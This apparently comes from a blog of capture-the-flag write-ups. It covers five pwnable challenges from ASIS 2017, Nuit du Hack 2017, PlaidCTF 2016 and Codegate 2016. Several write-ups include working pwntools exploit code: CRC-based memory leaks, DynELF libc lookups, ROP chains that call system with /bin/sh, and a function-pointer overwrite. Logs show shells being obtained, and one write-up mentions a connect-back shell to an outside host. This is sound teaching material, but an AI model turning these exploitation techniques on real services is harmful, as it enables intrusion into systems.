ASIS 2017 Quals Random

This is a write of the cahllenge Random from ASIS Quals 2017 CTF

The Challenge

Its a simple 64-bit binary which generates 'random' numbers, it has stack cookies.

Hand fuzzing

It was not necessary to reverse engineer the binary as it has odd and exploitable behaviour.

The binary behaves differently locally and remotely. Locally it returns only 0 when giving random numbers. Remotely is returns what looks like random numbers. After a short while of debugging I deduce that it is leaking the stack cookie. Also there is a buffer overflow when leaving a comment.

Exploitation

I found ROP gadgets using ROPGadget

$ ROPgadget --binary Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1
Gadgets information
============================================================
...
0x0000000000400f88 : mov rdx, rsi ; ret
...
0x0000000000400f8c : pop rax ; pop rdi ; ret
...
0x0000000000400f61 : pop rsi ; pop r15 ; ret
...
0x0000000000400f8f : syscall ; ret

These gadget are enough to make syscalls with 3 arguments, so I made an exploit:

Running it pops a shell:

$ python doit.py
[+] Starting local process './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1': Done
[*] Stack cookie = 0x0000000000000000
[*] Switching to interactive mode
$ bash -l
$ cowsay "I got shell"
 _____________
< I got shell >
 -------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
$ ^C
[*] Interrupted
[*] Stopped program './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'

ASIS 2017 Quals CRC

This is a write-up of the challenge crc from ASIS Quals 2017 CTF

The challenge

The challenge is a 32-bits binary, which can calculate the crc32 of data we send it.

The challenge has stack cookies.

**********WELCOME TO THE CRC32 CALCULATOR**********

------------------------
 1) Calculate a CRC
 2) Exit
------------------------
 Choice:

The Solution

The challenge boils down to the following;

char buf[100];
char *buf_ptr = &buf;
unsigned int size;
...
while(True){
    size = get_userinput_number()
    if(size > 99){ too much data }
    gets(buf);
    calcCrc(buf_ptr, size);
}

So the problem is that the gets can overwrite the pointer buf_ptr, and so give us the crc32 of any byes in the memory. This obviously leads to a memory leak.

Reliable memory leak

from pwn import *

reverse_crc = {crc.crc_32(p8(i)): p8(i) for i in range(2**8)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

@MemLeak
def leak(addr):
    if "\n" in p32(addr): return ""
    #Choice:
    r.sendline("1")
    #What is the length of your data:
    r.sendline("1")
    #Please send me 1 bytes to process:
    r.sendline("A"*100 + p32(addr))
    r.recvuntil("CRC is: ")
    crc = int(r.recvline(), 16)
    return reverse_crc[crc]

This leak is not good enough because the address from which we are leaking must not contain newlines. However it demonstrates the vulnerability quite well.

We can fix the problem with most of the newlines if we simple leak 2 bytes instead and do a little workaround address with newlines:

from pwn import *

reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

@MemLeak
def leak(addr):
    f = 0
    if p32(addr)[0] == "\n":
        log.info("Leaking from address with newline... Fixing"
        f = 1
        addr -= 1
    #Choice:
    r.sendline("1")
    #What is the length of your data:
    r.sendline("2")
    #Please send me 2 bytes to process:
    r.sendline("A"*100 + p32(addr))
    r.recvuntil("CRC is: ")
    crc = int(r.recvline(), 16)
    return reverse_crc[crc][f:]

Exploitation

Now we can simply use the pwntools pointer chasing magic module DynELF to leak symbols from libc:

e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
d = DynELF(leak, elf=e)

system = d.lookup("system", lib="libc.so")
log.info("system = 0x%x", system)

This gives us the address of system. Next thing we can do is find our buffer on the stack, leak the cookie.

environ = d.lookup("environ", lib="libc.so")
log.info("environ = 0x%x", environ)

stack = leak.d(environ)
for i in range(0x400):
    if leak.d(stack-i) == 0x41414141: break
stack = stack - i
log.info("stack = 0x%x", stack)

cookie = leak.d(stack+8)
log.info("cookie = 0x%x", cookie)

Then if we put /bin/sh\x00 in the buffer we overflow we can even find it at binsh = stack-100+4 and finally we can exploit the function get_userinput_number because it uses gets and ROP to win:

rop = flat(["A"*40, cookie, "B"*12, system, 0x41414141, binsh])

assert "\n" not in rop

r.sendline(rop)

r.sendline("echo SHELL")
r.recvuntil("SHELL\n")

r.interactive()

Final exploit

$ python doit.py
[+] Calculating CRC reverse lookup table: Done
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': Done
[+] Loading from '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': 0xf7792930
[+] Resolving 'system' in 'libc.so': 0xf7792930
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] system = 0xf75de3e0
[+] Resolving 'environ' in 'libc.so': 0xf774ade0
[*] environ = 0xf774ade0
[*] stack = 0xffb67624
[*] cookie = 0xf92ee300
[*] Switching to interactive mode
$ cowsay "I got shell"
 _____________
< I got shell >
 -------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
$

Nuit du Hack Quals 2017 - Lets Enchiffre

This is a write-up of the Lets Enchiffre challenge from Nuit du Hack CTF Quals 2017.

Apparently I was the only one to solve this challenge during the CTF.

The Challenge

It is a 32-bit x86 binary compiled on some RedHat system and it exposes a LetsEncrypt-like service, which can create SSL certificates upon request. It is linked against libzxcvbn.so.0, and as evident from the output of readelf:

$ readelf -d LetsEnchiffre
...
 0x0000000f (RPATH)                      Library rpath: [/home/n.chatelain/Sysdream/NDH2017/Quals/quals-letsenchiffre/zxcvbn-c]
...

it is likely to be used with https://github.com/tsyrogit/zxcvbn-c.git.

Creating a test setup

After a bit of trail-and-error and fiddling around with Fedora and CentOS docker images, I was able to create the following Dockerfile:

in which I was able to run the binary.

Reverse engineering

The challenge uses Protobuf and zxcvbn, it is an accept-loop based server, and for each connect it spawns a thread.

Race condition

The use of threading hints at a possible race condition bug and sure enough we have multiple reader and writers for the global variable stored at 0x08056450. This variable is used to store a pointer to an password either supplied by a user or generated automatically.

When recviving the password this happens:

google::protobuf::MessageLite::ParseFromArray(&pbuf_msg, buf, v18);
password_1 = protobuf_get_password_field(pbuf_msg);
password_g = std::__cxx11::basic_string::c_str(password_1);
password_2 = protobuf_get_password_field(pbuf_msg);
password_is_short_enough = 0;
if ( *std::basic_string::c_str(password_2) )
{
  password_3 = protobuf_get_password_field(pbuf_msg);
  password_3_cstr = std::basic_string::c_str(password_3);
  if ( strlen(password_3_cstr) <= 99 )
    password_is_short_enough = 1;
}

So we set the global variable password_g and then checks if it is shorter than 100 bytes, thus we can always override the password_g variable which might be used in another thread.

Buffer overflow

Next we take a look at the password strength check function at 0x0804b32b:

  snprintf(foo, 0x400u, "%s%s", "letsenchiffre", password_g);
  v7 = ZxcvbnMatch(foo, 0, &v6);
  if ( v7 >= 70.0 ) { ... } else { ... }

The variable foo is located on the stack and is only 114 bytes long. This is clearly bad.

Exploitation

The challenge does have execstack so we just need to put our shellcode in memory and jump to it, and running ROPgadget on the binary we get:

0x0804b490 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

So if we can point esp to just a few pops below password_g we would start executing at the start of out payload, so we can exploit the binary with

and if we are lucky we will hit the race condition just right and get a connect back on ebfe.dk:4243.

Flag

NDH{df297855f5038ffd0b7f8ad86ed155c3d3643d18eb2a2f1a22e107039bad7cd0}

Plaidctf 2016 Butterfly

This is a write-up of the challenge Butterfly from the Plaid ctf 2016.

The challenge

Butterfly is a 64bit x86 linux pwnable, which simply lets you flip a single bit by shining a cosmic ray at it.

It works by mprotect'ing the page with read-write-execute before flipping the bit and then calling mprotect again to remove write rigths.

The exploit

As we can flip arbitary bits in both the code and data, it knew that we should either flip the bit the code of main or in some got entry, to get control of rip.

At the end of main we found:

  400860:   48 83 c4 48             add    rsp,0x48
  400864:   5b                      pop    rbx
  400865:   41 5e                   pop    r14
  400867:   41 5f                   pop    r15
  400869:   5d                      pop    rbp
  40086a:   c3                      ret

and thus flipping the 6'th bit at 400863 would change the add rsp,0x48 to add rsp, 0x8, and so main would return to an address of our choosing.

So by letting main to return to main we was able to get unlimited bit flips.

from pwn import *
context(arch="amd64")

e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
#r = remote("butterfly.pwning.xxx", 9999)
r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")

addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))

which when run gives us:

$ python doit_butterfly.py
[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
    Arch:          amd64-64-little
    RELRO:         No RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[x] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed'
[+] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed': Done
[*] Switching to interactive mode
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?

note that "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?" is written twice, this is because we are re-executing main.

So from here it was easy to write some shellcode in the .bss and just return to it...

Final exploit

[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
    Arch:          amd64-64-little
    RELRO:         No RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[x] Opening connection to butterfly.pwning.xxx on port 9999
[x] Opening connection to butterfly.pwning.xxx on port 9999: Trying 13.92.239.242
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
[*] Switching to interactive mode
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}

Codegate Quals 2016 Serial

This is a write-up of the challenge Serial from the Codegate qualification round 2016.

The challenge

Serial is a 64bit x86 linux pwnable.

Reversing

When the program is run, we got prompted for a product key:

$ ./serial
input product key:

After a short look at the binary we found that the check function was at 0x400ccb, and that it accepts 32 bytes of input which it somehow checks. But after a first look at how the function worked we decided that is was simple but that it would be boring to reverse, and that it would take some time to write a keygen by hand.

So we decided on using Angr, and so I wrote this script to crack it:

When we run this script it gives us the product key(after a short time):

$ python gen_serial.py
Serial is: '615066814080'

Giving this as input the program we finally get to the menu:

$ ./serial
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>

The Bug

The program starts by allocating 10 elements of size 0x20 using calloc, which we can then manipulate by the commands add, remove or dump.

The structure of these elements looks like:

struct elem {
    char note[24];
    void *dump_func_pointer;
};

But the add command allows us to overwrite the function pointer, and the dump command the just calls this pointer with a reference to the element as an argument.

Exploitation

Luckily we haveprintf in the binary, so we can use the bug to call printf like

printf("We can insert a nice format string here");

Thus we are able to read and write memory as we like, for example:

from pwn import *

e = ELF("./serial")
r = process("./serial")

r.recvuntil("input product key:")
r.sendline("615066814080")

@MemLeak
def leak(addr):
    r.recvuntil("choice >> ")
    r.sendline("1")
    r.sendline("BB%13$sCC".ljust(24) + p64(e.plt["printf"]))
    # This is placed somewhere on the stack.
    r.sendline("3AAAAAAA"+p64(addr))
    # remember to remove the element, we only have 10.
    r.sendline("2\n0")
    r.recvuntil("BB")

    data = r.recvuntil("CC")[:-2] + "\x00"

    r.recvuntil("choice >> ")
    return data

# Magic from pwntools, which does pointer chasing and hashtable
# lookups to find stuff in memory. You should check it out.
d = DynELF(leak, elf = e)
system = d.lookup("system", "libc.so")
print "This is the address of 'system' in libc.so:", hex(system)

And it works:

$ python doit_serial.py
[*] '/home/user/serial'
    Arch:          amd64-64-little
    RELRO:         Partial RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[+] Starting program './serial': Done
[+] Loading from '/home/user/serial': 0x7f739e8e61a8
[+] Resolving 'system' in 'libc.so': 0x7f739e8e61a8
This is the address of 'system' in libc.so: 0x7f739e35a490

And now we simply need to use system as our dumper function and call it the right way:

r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("sh;".ljust(24) + p64(system))
r.sendline("3")

# lol, have a shell
r.clean()
r.interactive()

Final exploit